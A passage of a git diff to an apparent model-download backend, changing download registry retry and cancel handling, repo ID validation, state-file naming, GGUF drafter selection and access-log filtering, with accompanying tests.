+    monkeypatch.setattr(download_lifecycle.threading, "Thread", _ImmediateThread)
+    register_worker = download_lifecycle.register_worker
+    registry = download_registry.DownloadRegistry()
+    key = download_registry.normalize_repo_key("Org/Data")
+    assert registry.claim(
+        key,
+        download_registry.TRANSPORT_HTTP,
+        repo_type = "dataset",
+        repo_id = "Org/Data",
+    )[0]
     monkeypatch.setattr(
-        download_lifecycle.download_registry,
-        "download_transport_unavailable_reason",
-        lambda _transport: reason,
+        download_lifecycle,
+        "register_worker",
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(
+            AssertionError("HTTP failures must not retry")
+        ),
     )
-
-
-def test_resolve_effective_use_xet_keeps_http_when_not_requested(monkeypatch):
-    _set_xet_reason(monkeypatch, "should not be consulted")
-    assert download_lifecycle.resolve_effective_use_xet(False) is False
-
-
-def test_resolve_effective_use_xet_keeps_xet_when_available(monkeypatch):
-    _set_xet_reason(monkeypatch, None)
-    assert download_lifecycle.resolve_effective_use_xet(True) is True
-
-
-def test_resolve_effective_use_xet_downgrades_when_xet_unavailable(monkeypatch):
-    _set_xet_reason(monkeypatch, "Xet transport is unavailable because hf_xet is not installed.")
-    assert download_lifecycle.resolve_effective_use_xet(True) is False
+    assert register_worker(
+        registry,
+        key,
+        _Proc(1, b"http failed"),
+        hf_token = None,
+        label = "Org/Data",
+        log_prefix = "Download",
+        logger = logging.getLogger("test"),
+        repo_type = "dataset",
+        repo_id = "Org/Data",
+        transport = download_registry.TRANSPORT_HTTP,
+        watch_name = "dataset-watch",
+    )
+    assert registry.get_job(key).state == "error"
diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index e22aaba282..2c33e09b2b 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -36,6 +36,20 @@ from hub.utils import (
 from hub.workers import hf_download
 
 
+@pytest.fixture(autouse = True)
+def _denylist_inert(monkeypatch):
+    # The browse tests here exercise allowlist containment, symlink safety and
+    # the sensitive-name filter, not the system-directory denylist (which has
+    # its own suite in tests/test_browse_denylist.py). On macOS tmp_path
+    # resolves under /private/var, a denied prefix, so _resolve_browse_target
+    # would 403 the fixture dirs before that logic runs. Keep the denylist inert
+    # so these assertions hold on every platform. folder_browser binds
+    # is_denied_system_path at import, so patch it on that module, not on
+    # scan_folders. The "rejects" cases still 403 via the allowlist/sensitive
+    # checks, and the non-browse tests never call it.
+    monkeypatch.setattr(folder_browser, "is_denied_system_path", lambda _p: False)
+
+
 def _repo(repo_id: str, files: list[SimpleNamespace], repo_path: Path):
     return SimpleNamespace(
         repo_id = repo_id,
@@ -105,6 +119,10 @@ def test_repo_id_validation_accepts_hf_repo_id_contract(repo_id):
     assert paths.is_valid_repo_id(repo_id)
 
 
+def test_repo_id_validation_accepts_max_length_namespaced_repo():
+    assert paths.is_valid_repo_id(f"{'a' * 96}/{'b' * 96}")
+
+
 @pytest.mark.parametrize(
     "repo_id",
     [
@@ -121,6 +139,48 @@ def test_repo_id_validation_rejects_unsafe_or_invalid_ids(repo_id):
     assert not paths.is_valid_repo_id(repo_id)
 
 
+def test_download_state_preserves_readable_keys_when_safe(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+
+    path = state_dir.marker_path("model", "Owner/Repo", "Q4_K_M")
+
+    assert path is not None
+    assert path.name == "models--owner--repo--variant--q4_k_m.json"
+
+
+@pytest.mark.parametrize("variant", ["bad variant with spaces", "q" * 64])
+def test_download_state_bounds_long_repo_variant_filenames(monkeypatch, tmp_path, variant):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+    repo_id = f"{'a' * 96}/{'b' * 96}"
+
+    assert paths.is_valid_repo_id(repo_id)
+    assert download_manifest.write_cancel_marker("model", repo_id, variant, "http")
+    assert download_manifest.write_manifest(
+        "model",
+        repo_id,
+        variant,
+        [download_manifest.ExpectedFile(path = "model.gguf", size = 1)],
+        "http",
+    )
+
+    marker_path = state_dir.marker_path("model", repo_id, variant)
+    manifest_path = state_dir.manifest_path("model", repo_id, variant)
+
+    assert marker_path is not None
+    assert manifest_path is not None
+    assert "--sha256-" in marker_path.name
+    assert len(marker_path.name.encode("utf-8")) <= 255
+    assert len(f".{marker_path.name}.tmp-00000000".encode("utf-8")) <= 255
+    assert download_manifest.has_cancel_marker("model", repo_id, variant)
+    assert download_manifest.read_manifest("model", repo_id, variant) is not None
+    assert list(download_manifest.iter_variant_markers("model", repo_id)) == [
+        (variant, marker_path)
+    ]
+    assert list(download_manifest.iter_variant_manifests("model", repo_id)) == [
+        (variant, manifest_path)
+    ]
+
+
 class _RecordingLogger:
     def __init__(self):
         self.warnings = []
@@ -168,11 +228,22 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path):
     assert exc_info.value.status_code == 403
 
 
+def test_resolve_browse_target_rejects_sensitive_root(tmp_path):
+    ssh = tmp_path / "home" / ".ssh"
+    ssh.mkdir(parents = True)
+
+    with pytest.raises(HTTPException) as exc_info:
+        folder_browser._resolve_browse_target(str(ssh), [ssh])
+
+    assert exc_info.value.status_code == 403
+
+
 def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     home = tmp_path / "home"
     (home / ".ssh").mkdir(parents = True)
     (home / "models").mkdir()
-    monkeypatch.setattr(folder_browser, "_build_browse_allowlist", lambda: [home])
+    # Accept and ignore the optional (media_roots, drive_roots) args the caller now passes.
+    monkeypatch.setattr(folder_browser, "_build_browse_allowlist", lambda *_a, **_k: [home])
 
     response = folder_browser.browse_folders_response(str(home), show_hidden = True)
 
@@ -181,6 +252,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     assert ".ssh" not in names
 
 
+def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
+    home = tmp_path / "home"
+    media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
+    model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+    monkeypatch.setattr(folder_browser.Path, "home", lambda: home)
+    monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root])
+    monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf")
+    monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: [])
+    monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: [])
+
+    allowlist = folder_browser._build_browse_allowlist()
+
+    assert media_root.resolve() in allowlist
+    assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve()
+
+
 def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path):
     # The endpoint creates the cache dir on demand so the desktop "Open folder"
     # action works even before the first download.
diff --git a/studio/backend/hub/utils/download_registry.py b/studio/backend/hub/utils/download_registry.py
index 777d63e1b5..b6bdee3bce 100644
--- a/studio/backend/hub/utils/download_registry.py
+++ b/studio/backend/hub/utils/download_registry.py
@@ -45,9 +45,9 @@ import sys
 import threading
 import time
 import weakref
-from dataclasses import dataclass, field
+from dataclasses import dataclass, field, replace
 from pathlib import Path
-from typing import Iterator, Literal, Optional
+from typing import Callable, Iterator, Literal, Optional
 
 from loggers import get_logger
 
@@ -126,6 +126,9 @@ def write_worker_breadcrumb(key: str, pid: int, metadata: Optional["DownloadMeta
         "repo_id": metadata.repo_id if metadata is not None else None,
         "variant": metadata.variant if metadata is not None else None,
         "transport": metadata.transport if metadata is not None else None,
+        "cancel_marker_transport": metadata.cancel_marker_transport
+        if metadata is not None
+        else None,
     }
     tmp = path.with_name(f".{path.name}.tmp-{pid}")
     try:
@@ -305,7 +308,7 @@ def reap_orphan_workers() -> None:
                 data.get("repo_type"),
                 repo_id,
                 data.get("variant"),
-                data.get("transport"),
+                data.get("cancel_marker_transport") or data.get("transport"),
             )
         except Exception as exc:
             logger.debug("Reaper failed for breadcrumb %s: %s", entry, exc)
@@ -699,6 +702,7 @@ class DownloadMetadata:
     repo_id: str
     variant: Optional[str]
     transport: Optional[str]
+    cancel_marker_transport: Optional[str] = None
     # GGUF variant main/writable hashes, identifying the variant-specific shards
     # for concurrency decisions.
     blob_hashes: frozenset[str] = field(default_factory = frozenset)
@@ -801,6 +805,7 @@ class DownloadRegistry:
         self._processes: dict[str, subprocess.Popen] = {}
         self._repo_active: dict[str, set[str]] = {}
         self._metadata: dict[str, DownloadMetadata] = {}
+        self._cancel_marker_transports: dict[str, str] = {}
         self._pending_cancel: dict[str, Optional[int]] = {}
         self._generations: dict[str, int] = {}
         # Monotonic across keys so an evicted then re-claimed key never reuses a
@@ -839,6 +844,7 @@ class DownloadRegistry:
             if state in TERMINAL_STATES:
                 self._put_terminal_job_locked(key, state, error)
                 self._pending_cancel.pop(key, None)
+                self._cancel_marker_transports.pop(key, None)
                 repo = _repo_of_key(key)
                 active = self._repo_active.get(repo)
                 if active is not None:
@@ -848,6 +854,57 @@ class DownloadRegistry:
             else:
                 self._jobs[key] = DownloadState(state, error)
 
+    def set_error_unless_cancelled(
+        self, key: str, error: str
+    ) -> tuple[JobState, Optional[DownloadMetadata]]:
+        key = normalize_job_key(key)
+        with self._lock:
+            current = self._jobs.get(key, DownloadState("idle")).state
+            has_pending_cancel = key in self._pending_cancel
+            pending_generation = self._pending_cancel.get(key)
+            metadata = self._metadata.get(key)
+            should_cancel = current == "cancelling" or (
+                has_pending_cancel and self._generation_matches_locked(key, pending_generation)
+            )
+            terminal_state: JobState = "cancelled" if should_cancel else "error"
+            marker_transport = self._cancel_marker_transports.pop(key, None)
+            if marker_transport is None and metadata is not None:
+                marker_transport = metadata.cancel_marker_transport
+            self._put_terminal_job_locked(
+                key,
+                terminal_state,
+                None if should_cancel else error,
+            )
+            self._pending_cancel.pop(key, None)
+            repo = _repo_of_key(key)
+            active = self._repo_active.get(repo)
+            if active is not None:
+                active.discard(key)
+                if not active:
+                    self._repo_active.pop(repo, None)
+            if should_cancel and metadata is not None and marker_transport is not None:
+                metadata = replace(metadata, transport = marker_transport)
+            return terminal_state, metadata
+
+    def update_job_transport(self, key: str, transport: str) -> None:
+        key = normalize_job_key(key)
+        with self._lock:
+            metadata = self._metadata.get(key)
+            if metadata is None or metadata.transport == transport:
+                return
+            self._metadata[key] = replace(metadata, transport = transport)
+
+    def release_active_slot(self, key: str) -> None:
+        key = normalize_job_key(key)
+        repo = _repo_of_key(key)
+        with self._lock:
+            active = self._repo_active.get(repo)
+            if active is None:
+                return
+            active.discard(key)
+            if not active:
+                self._repo_active.pop(repo, None)
+
     def get_job(self, key: str) -> DownloadState:
         key = normalize_job_key(key)
         with self._lock:
@@ -884,6 +941,14 @@ class DownloadRegistry:
             ):
                 self._put_terminal_job_locked(key, "cancelled")
                 metadata_to_persist = self._metadata.pop(key, None)
+                marker_transport = self._cancel_marker_transports.pop(key, None)
+                if marker_transport is None and metadata_to_persist is not None:
+                    marker_transport = metadata_to_persist.cancel_marker_transport
+                if metadata_to_persist is not None and marker_transport is not None:
+                    metadata_to_persist = replace(
+                        metadata_to_persist,
+                        transport = marker_transport,
+                    )
                 repo = _repo_of_key(key)
                 active = self._repo_active.get(repo)
                 if active is not None:
@@ -963,12 +1028,24 @@ class DownloadRegistry:
         blob_hashes: Optional[frozenset[str]] = None,
         progress_blob_hashes: Optional[frozenset[str]] = None,
         completed_baseline_bytes: int = 0,
+        admission_check: Optional[Callable[[], bool]] = None,
+        generation: Optional[int] = None,
+        replace_active: bool = False,
+        metadata_transport: Optional[str] = None,
+        cancel_marker_transport: Optional[str] = None,
     ) -> tuple[bool, str]:
         key = normalize_job_key(key)
         repo = _repo_of_key(key)
         requested_hashes = blob_hashes or frozenset()
         requested_progress_hashes = progress_blob_hashes or frozenset()
         with self._lock:
+            # Run the final external admission check while the registry lock is
+            # held, immediately before inspecting and publishing active state.
+            # The GGUF load path establishes its marker before calling
+            # its active-job probe, so either this claim observes that marker
+            # or the load's later probe observes this claim.
+            if admission_check is not None and not admission_check():
+                return False, "admission_blocked"
             deleting_scopes = self._deleting.get(repo)
             if deleting_scopes is not None and (
                 None in deleting_scopes or variant_from_key(key) in deleting_scopes
@@ -1007,10 +1084,13 @@ class DownloadRegistry:
             if conflict_state is not None:
                 return False, conflict_state
             current = self._jobs.get(key, DownloadState("idle")).state
-            if current in _ACTIVE_STATES:
+            if current in _ACTIVE_STATES and not replace_active:
                 return False, current
-            self._generation_seq += 1
-            self._generations[key] = self._generation_seq
+            if generation is None:
+                self._generation_seq += 1
+                self._generations[key] = self._generation_seq
+            else:
+                self._generations[key] = generation
             self._jobs[key] = DownloadState("running")
             self._repo_active.setdefault(repo, active).add(key)
             if repo_type and repo_id:
@@ -1018,7 +1098,8 @@ class DownloadRegistry:
                     repo_type = repo_type,
                     repo_id = repo_id,
                     variant = variant,
-                    transport = transport,
+                    transport = metadata_transport if metadata_transport is not None else transport,
+                    cancel_marker_transport = cancel_marker_transport,
                     blob_hashes = requested_hashes,
                     progress_blob_hashes = requested_progress_hashes,
                     completed_baseline_bytes = max(
@@ -1026,8 +1107,13 @@ class DownloadRegistry:
                         int(completed_baseline_bytes or 0),
                     ),
                 )
+                if cancel_marker_transport is not None:
+                    self._cancel_marker_transports[key] = cancel_marker_transport
+                else:
+                    self._cancel_marker_transports.pop(key, None)
             else:
                 self._metadata.pop(key, None)
+                self._cancel_marker_transports.pop(key, None)
             return True, "running"
 
     def adoptable(self, key: str) -> bool:
@@ -1053,7 +1139,8 @@ class DownloadRegistry:
         download. A variant delete conflicts only with that same variant or a
         whole-repo download writing the shared snapshot; other quantizations
         download concurrently and never block it."""
-        for key in self._repo_active.get(repo_id, set()):
+        active_keys = self._repo_active.get(repo_id, set())
+        for key in active_keys:
             job = self._jobs.get(key)
             if job is None or job.state not in _ACTIVE_STATES:
                 continue
@@ -1062,6 +1149,16 @@ class DownloadRegistry:
             other_variant = self._active_job_variant_locked(key)
             if other_variant is None or other_variant == variant:
                 return True
+        for key, job in self._jobs.items():
+            if key in active_keys or _repo_of_key(key) != repo_id:
+                continue
+            if job.state not in _ACTIVE_STATES:
+                continue
+            if variant is None:
+                return True
+            other_variant = self._active_job_variant_locked(key)
+            if other_variant is None or other_variant == variant:
+                return True
         return False
 
     def peer_blob_hashes(self, key: str) -> frozenset[str]:
@@ -1108,6 +1205,16 @@ class DownloadRegistry:
                 candidate_keys = list(self._repo_active.get(repo_key, set()))
             else:
                 candidate_keys = [key for active in self._repo_active.values() for key in active]
+            # An XET->HTTP retry handoff briefly drops its key from _repo_active
+            # while its job stays active; include those released-but-active jobs
+            # so the waiting retry still lists and can be adopted or cancelled.
+            seen = set(candidate_keys)
+            for key, job in self._jobs.items():
+                if key in seen or job.state not in _ACTIVE_STATES:
+                    continue
+                if repo_key is not None and _repo_of_key(key) != repo_key:
+                    continue
+                candidate_keys.append(key)
             refs: list[ActiveDownloadRef] = []
             for key in candidate_keys:
                 job = self._jobs.get(key)
@@ -1123,6 +1230,23 @@ class DownloadRegistry:
                 )
             return refs
 
+    def has_active_variant(self, repo_id: str, variant: Optional[str]) -> bool:
+        """Whether an active model job targets this exact GGUF variant.
+
+        Scans the job table rather than only ``_repo_active`` so an XET-to-HTTP
+        retry handoff remains visible while it has temporarily released its
+        active slot.
+        """
+        repo_key = normalize_repo_key(repo_id)
+        target = (variant or "").strip().lower() or None
+        with self._lock:
+            for key, job in self._jobs.items():
+                if _repo_of_key(key) != repo_key or job.state not in _ACTIVE_STATES:
+                    continue
+                if self._active_job_variant_locked(key) == target:
+                    return True
+        return False
+
     def begin_delete(
         self,
         repo_id: str,
@@ -1169,12 +1293,25 @@ class DownloadRegistry:
         repo_id = normalize_repo_key(repo_id)
         target = (variant or "").strip().lower() or None
         with self._lock:
-            for key in self._repo_active.get(repo_id, set()):
+            active_keys = self._repo_active.get(repo_id, set())
+            for key in active_keys:
                 job = self._jobs.get(key)
                 if job is None or job.state not in _ACTIVE_STATES:
                     continue
                 if self._active_job_variant_locked(key) != target:
                     return True
+            # An XET->HTTP retry peer between release_active_slot() and its reclaim
+            # is briefly absent from _repo_active while its job stays active and
+            # still owns the shared companion; mirror the released-but-active scan
+            # used by _delete_blocked_by_active_locked so it still blocks companion
+            # deletion of a different variant.
+            for key, job in self._jobs.items():
+                if key in active_keys or _repo_of_key(key) != repo_id:
+                    continue
+                if job.state not in _ACTIVE_STATES:
+                    continue
+                if self._active_job_variant_locked(key) != target:
+                    return True
         return False
 
     def request_cancel(
@@ -1198,17 +1335,58 @@ class DownloadRegistry:
             return True
 
     def terminate_all(self, kind: str = "download") -> None:
+        settled_no_proc: list[Optional[DownloadMetadata]] = []
         with self._lock:
             live = [
                 (key, proc, self._metadata.get(key))
                 for key, proc in self._processes.items()
                 if proc.poll() is None
             ]
+            live_keys = {key for key, _proc, _metadata in live}
             # Flag as an intentional stop so the watcher's exit classification
             # reports them cancelled rather than an OOM/crash once SIGKILL lands.
             for key, _proc, _metadata in live:
                 if self._jobs.get(key, DownloadState("idle")).state == "running":
                     self._jobs[key] = DownloadState("cancelling")
+            # Settle active jobs without a live worker too. Two cases: an
+            # XET->HTTP retry parked in the reclaim wait loop has dropped its
+            # worker and slot guard, so it is absent from `live`; and a
+            # registered worker that already exited with an error but whose
+            # watcher has not yet run would otherwise stay `running` and spawn an
+            # HTTP retry after this shutdown snapshot. Skip a registered worker
+            # that exited cleanly (rc == 0): it completed and the watcher will
+            # mark it done, so marking it cancelling would strand a stale marker.
+            for key, job in list(self._jobs.items()):
+                if job.state not in _ACTIVE_STATES or key in live_keys:
+                    continue
+                proc = self._processes.get(key)
+                if proc is not None:
+                    if proc.poll() == 0:
+                        continue
+                    # A registered worker that exited nonzero on its own over HTTP
+                    # is a genuine terminal download failure, not a shutdown cancel
+                    # and not retry-capable: leave its error status intact rather
+                    # than persisting a cancel marker that would read as
+                    # cancelled/resumable after restart. Only an exited XET worker
+                    # could still spawn a post-shutdown HTTP retry, so only that
+                    # needs settling here.
+                    metadata = self._metadata.get(key)
+                    if metadata is not None and metadata.transport == TRANSPORT_HTTP:
+                        continue
+                self._pending_cancel[key] = self._generations.get(key)
+                self._jobs[key] = DownloadState("cancelling")
+                settled_no_proc.append(self._metadata.get(key))
+        # Persist a cancel marker for each settled no-live-worker job outside the
+        # lock (mirroring the reaped path) so shutdown records resumable/cancelled
+        # state even if it returns before the daemon watcher wakes to do so.
+        for metadata in settled_no_proc:
+            if metadata is not None:
+                persist_cancel_marker(
+                    metadata.repo_type,
+                    metadata.repo_id,
+                    metadata.variant,
+                    metadata.cancel_marker_transport or metadata.transport,
+                )
         reaped: list[tuple[str, subprocess.Popen, Optional[DownloadMetadata]]] = []
         for key, proc, metadata in live:
             try:
@@ -1222,7 +1400,7 @@ class DownloadRegistry:
                         metadata.repo_type,
                         metadata.repo_id,
                         metadata.variant,
-                        metadata.transport,
+                        metadata.cancel_marker_transport or metadata.transport,
                     )
                 continue
             reaped.append((key, proc, metadata))
@@ -1242,7 +1420,7 @@ class DownloadRegistry:
                     metadata.repo_type,
                     metadata.repo_id,
                     metadata.variant,
-                    metadata.transport,
+                    metadata.cancel_marker_transport or metadata.transport,
                 )
 
 
diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py
index 2abdb0fb79..18daa4f84e 100644
--- a/studio/backend/hub/utils/gguf_plan.py
+++ b/studio/backend/hub/utils/gguf_plan.py
@@ -102,16 +102,17 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]:
 def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]:
     """The separate MTP drafter to fetch with every variant: the repo-root
     ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery
-    (Gemma 4). Same pick as the loader's drafter resolution (``mtp-`` basename
-    prefix, first in sort order) so download and load resolve the same file;
-    the higher-precision ``MTP/`` subdir copies are for explicit selection and
-    are not auto-fetched. None for repos with the head baked into the main
-    GGUF (Qwen)."""
+    (Gemma 4). Same pick as the loader's drafter resolution (root-level
+    ``mtp-`` prefix, first in sort order) so download and load resolve the same
+    file; the higher-precision ``MTP/`` subdir copies are for explicit
+    selection and are not auto-fetched. None for repos with the head baked into
+    the main GGUF (Qwen)."""
+    # Root-level only: the MTP/ subdir copies now share the mtp- prefix too.
     candidates = sorted(
         (
             s
             for s in siblings
-            if (name := _gguf_rfilename(s)) and name.lower().rsplit("/", 1)[-1].startswith("mtp-")
+            if (name := _gguf_rfilename(s)) and "/" not in name and name.lower().startswith("mtp-")
         ),
         key = lambda s: getattr(s, "rfilename"),
     )
diff --git a/studio/backend/hub/utils/paths.py b/studio/backend/hub/utils/paths.py
index afcb0b41dc..5435202565 100644
--- a/studio/backend/hub/utils/paths.py
+++ b/studio/backend/hub/utils/paths.py
@@ -181,15 +181,20 @@ def is_valid_repo_id(repo_id: str) -> bool:
     """Validate Hugging Face ``repo_name`` or ``namespace/repo_name`` IDs."""
     if not repo_id or repo_id != repo_id.strip():
         return False
-    if len(repo_id) > _MAX_REPO_ID_LENGTH or repo_id.endswith(".git"):
+    if repo_id.endswith(".git"):
         return False
     if "--" in repo_id or ".." in repo_id:
         return False
     segments = repo_id.split("/")
     if len(segments) not in (1, 2):
         return False
+    # Match huggingface_hub.validate_repo_id: the 96-char limit applies per
+    # segment (repo name / namespace), not to the whole "namespace/repo_name"
+    # string, so long-but-valid repo names are not falsely rejected.
     return all(
-        segment not in ("", ".", "..") and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None
+        segment not in ("", ".", "..")
+        and len(segment) <= _MAX_REPO_ID_LENGTH
+        and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None
         for segment in segments
     )
 
diff --git a/studio/backend/hub/utils/state_dir.py b/studio/backend/hub/utils/state_dir.py
index a304477a3d..183e934724 100644
--- a/studio/backend/hub/utils/state_dir.py
+++ b/studio/backend/hub/utils/state_dir.py
@@ -11,8 +11,9 @@ cache lifecycle. Two subdirectories:
         manifests/   <key>.json   per-download expected-files manifest
         cancelled/   <key>.json   per-download cancel marker
 
-The ``<key>`` mirrors HF's cache dir naming so a state file can be
-eyeballed next to the on-disk repo it describes:
+The ``<key>`` mirrors HF's cache dir naming while the resulting manifest,
+cancel-marker, and atomic-write temp filenames fit common filesystem basename
+limits. Very long repo IDs use a stable hash in the state key:
 
     models--<owner>--<name>                       full snapshot
     models--<owner>--<name>--variant--<variant>   GGUF variant
@@ -49,6 +50,11 @@ _MANIFESTS_SUBDIR = "manifests"
 _CANCELLED_SUBDIR = "cancelled"
 _WORKERS_SUBDIR = "workers"
 _SAFE_VARIANT_FRAGMENT = re.compile(r"^[a-z0-9._-]{1,64}$")
+_MAX_STATE_BASENAME_BYTES = 255
+_STATE_EXTENSION = ".json"
+# _atomic_write_json writes ".<target>.tmp-<8hex>" beside the final file.
+_ATOMIC_WRITE_TMP_OVERHEAD = len(".") + len(".tmp-") + 8
+_MAX_VARIANT_FRAGMENT_LENGTH = 64
 
 
 def state_root() -> Optional[Path]:
@@ -84,16 +90,35 @@ def repo_cache_basename(repo_type: RepoType, repo_id: str) -> str:
     return f"{repo_type}s--{repo_id.replace('/', '--')}".lower()
 
 
+def _filename_bytes(name: str) -> int:
+    return len(name.encode("utf-8"))
+
+
+def _state_filename_fits(entry_key: str) -> bool:
+    filename = f"{entry_key}{_STATE_EXTENSION}"
+    return _filename_bytes(filename) + _ATOMIC_WRITE_TMP_OVERHEAD <= _MAX_STATE_BASENAME_BYTES
+
+
+def _state_repo_key(repo_type: RepoType, repo_id: str) -> str:
+    base = repo_cache_basename(repo_type, repo_id)
+    variant_prefix = f"{base}--variant--"
+    longest_variant_key = f"{variant_prefix}{'x' * _MAX_VARIANT_FRAGMENT_LENGTH}"
+    if _state_filename_fits(longest_variant_key):
+        return base
+    digest = hashlib.sha256(base.encode("utf-8")).hexdigest()[:32]
+    return f"{repo_type}s--sha256-{digest}"
+
+
 def variant_filename_prefix(repo_type: RepoType, repo_id: str) -> str:
     """Lowercased prefix every variant-keyed state file for this repo shares.
 
     The single source the download_manifest enumerators match against, so the
     scheme in :func:`_entry_key` cannot drift from them silently."""
-    return f"{repo_cache_basename(repo_type, repo_id)}--variant--"
+    return f"{_state_repo_key(repo_type, repo_id)}--variant--"
 
 
 def _entry_key(repo_type: RepoType, repo_id: str, variant: Optional[str]) -> str:
-    base = repo_cache_basename(repo_type, repo_id)
+    base = _state_repo_key(repo_type, repo_id)
     if not variant:
         return base
     normalized_variant = variant.strip().lower()
diff --git a/studio/backend/loggers/config.py b/studio/backend/loggers/config.py
index 8977ab4907..688d3c7ebe 100644
--- a/studio/backend/loggers/config.py
+++ b/studio/backend/loggers/config.py
@@ -17,6 +17,15 @@ import structlog
 from loggers.handlers import filter_sensitive_data
 
 
+class _DropTorchDtypeDeprecation(logging.Filter):
+    """Drop transformers' once-per-run "`torch_dtype` is deprecated" warning_once.
+    It is emitted via logging (not warnings), so a warnings filter cannot catch it."""
+
+    def filter(self, record: logging.LogRecord) -> bool:
+        msg = record.getMessage()
+        return not ("torch_dtype" in msg and "deprecated" in msg)
+
+
 class LogConfig:
     """Structured logging configuration for the application."""
 
@@ -72,4 +81,13 @@ class LogConfig:
             cache_logger_on_first_use = True,
         )
 
+        # Drop transformers' cosmetic "`torch_dtype` is deprecated" warning_once (see filter).
+        _dtype_filter = _DropTorchDtypeDeprecation()
+        for _name in (
+            "transformers.configuration_utils",
+            "transformers.modeling_utils",
+            "transformers.pipelines.base",
+        ):
+            logging.getLogger(_name).addFilter(_dtype_filter)
+
         return structlog.get_logger(service_name)
diff --git a/studio/backend/loggers/handlers.py b/studio/backend/loggers/handlers.py
index f471ceb300..716c4f40d2 100644
--- a/studio/backend/loggers/handlers.py
+++ b/studio/backend/loggers/handlers.py
@@ -28,19 +28,26 @@ def _env_int(name: str, default: int) -> int:
         return default
 
 
-# Drop duplicate successful-GET access logs repeated within the window: the SPA
-# fans one cache invalidation into many identical list fetches; only the first
-# informs. Loading polls, mutations, and errors are unaffected. 0 = log all.
+# Collapse identical GET/2xx logs within the window (the SPA fans one invalidation
+# into many list fetches). Mutations and errors always log. 0 = off.
 _ACCESS_LOG_DEDUP_MS = _env_int("UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS", 300)
-# Pure-liveness/UI polls whose access line carries no signal beyond "client still
-# polling" (state changes are logged by their own modules). Collapsed to a longer
-# heartbeat instead of one line per poll; first hit and any error still log. 0 = off.
+# Liveness/UI polls whose line means only "still polling"; collapse to a longer
+# heartbeat. First hit and errors still log. 0 = off.
 _QUIET_POLL_DEDUP_MS = _env_int("UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS", 10000)
 _QUIET_POLL_PATHS = {
     "/api/health",
     "/api/auth/status",
     "/api/inference/status",
     "/api/inference/monitor",
+    # List polls the tabs refetch on a timer and on every tab switch.
+    "/api/train/runs",
+    "/api/models/checkpoints",
+    "/api/models/local",
+    "/api/rag/knowledge-bases",
+    # Legacy download polls emit no progress events (unlike /api/hub/*), so heartbeat them.
+    "/api/models/download-progress",
+    "/api/models/gguf-download-progress",
+    "/api/datasets/download-progress",
 }
 _DEDUP_MAP_MAX = 4096
 _NATIVE_PATH_LEASE_RE = re.compile(
@@ -62,6 +69,46 @@ _EXCLUDED_SUFFIXES = (
     ".woff2",
     ".ttf",
 )
+# GET polls whose 2xx line carries no signal (their progress/phase events and the UI
+# do), so drop it entirely; non-2xx still logs. Only /api/hub download polls emit
+# events; the legacy /api/models and /api/datasets ones heartbeat via _QUIET_POLL_PATHS.
+_QUIET_SUCCESS_PATHS = {
+    "/api/inference/load-progress",
+    "/api/llama/update-status",
+    "/api/export/logs",
+    "/api/export/status",
+    "/api/hub/download-status",
+    "/api/hub/download-progress",
+    "/api/hub/gguf-download-progress",
+    "/api/hub/active-downloads",
+    "/api/hub/transport-status",
+    "/api/hub/datasets/download-status",
+    "/api/hub/datasets/download-progress",
+    "/api/hub/datasets/active-downloads",
+    "/api/hub/datasets/transport-status",
+}
+# The token-refresh route. Its first 2xx means the client has obtained a valid
+# session, so from then on chat 401s are real failures and must stay visible.
+_AUTH_REFRESH_PATH = "/api/auth/refresh"
+# High-frequency chat list polls; their 2xx is covered by generation/tool-call/stats
+# events. Exact paths only, so detail/message reads (/threads/{id}, .../messages,
+# /projects/{id}) keep their logs. The pre-auth 401 race also fires on these polls.
+_CHAT_LIST_PATHS = {
+    "/api/chat/threads",
+    "/api/chat/projects",
+}
+
+
+def _is_quiet_success(method: str, path: str, status_code: int, pre_auth: bool) -> bool:
+    """GET-only. Suppress a 2xx poll line that carries no signal, plus a chat list
+    poll's transient pre-auth 401 (only in the bootstrap window before the first
+    successful token refresh). Mutations, real (post-refresh) auth failures, and
+    all other errors always log."""
+    if method != "GET":
+        return False
+    if 200 <= status_code < 300:
+        return path in _QUIET_SUCCESS_PATHS or path in _CHAT_LIST_PATHS
+    return pre_auth and status_code == 401 and path in _CHAT_LIST_PATHS
 
 
 class LoggingMiddleware:
@@ -71,14 +118,16 @@ class LoggingMiddleware:
         self.app = app
         # (method, path, query, status_code) -> monotonic ts of the last EMITTED log.
         self._last_log: dict[tuple[str, str, bytes, int], float] = {}
+        # Flips True after the first successful /api/auth/refresh; before that, chat
+        # list-poll 401s are the transient bootstrap race and are suppressed.
+        self._auth_refreshed = False
 
     def _is_redundant_repeat(
         self, method: str, path: str, query: bytes, status_code: int, now: float
     ) -> bool:
-        """True if an identical GET/2xx log fired < window ago. The query string
-        is part of the identity, so distinct query-driven GETs are not collapsed.
-        Mutations and non-2xx are never deduped. Quiet-poll paths use a longer
-        heartbeat window. Stamps only on emit, so steady polls still log."""
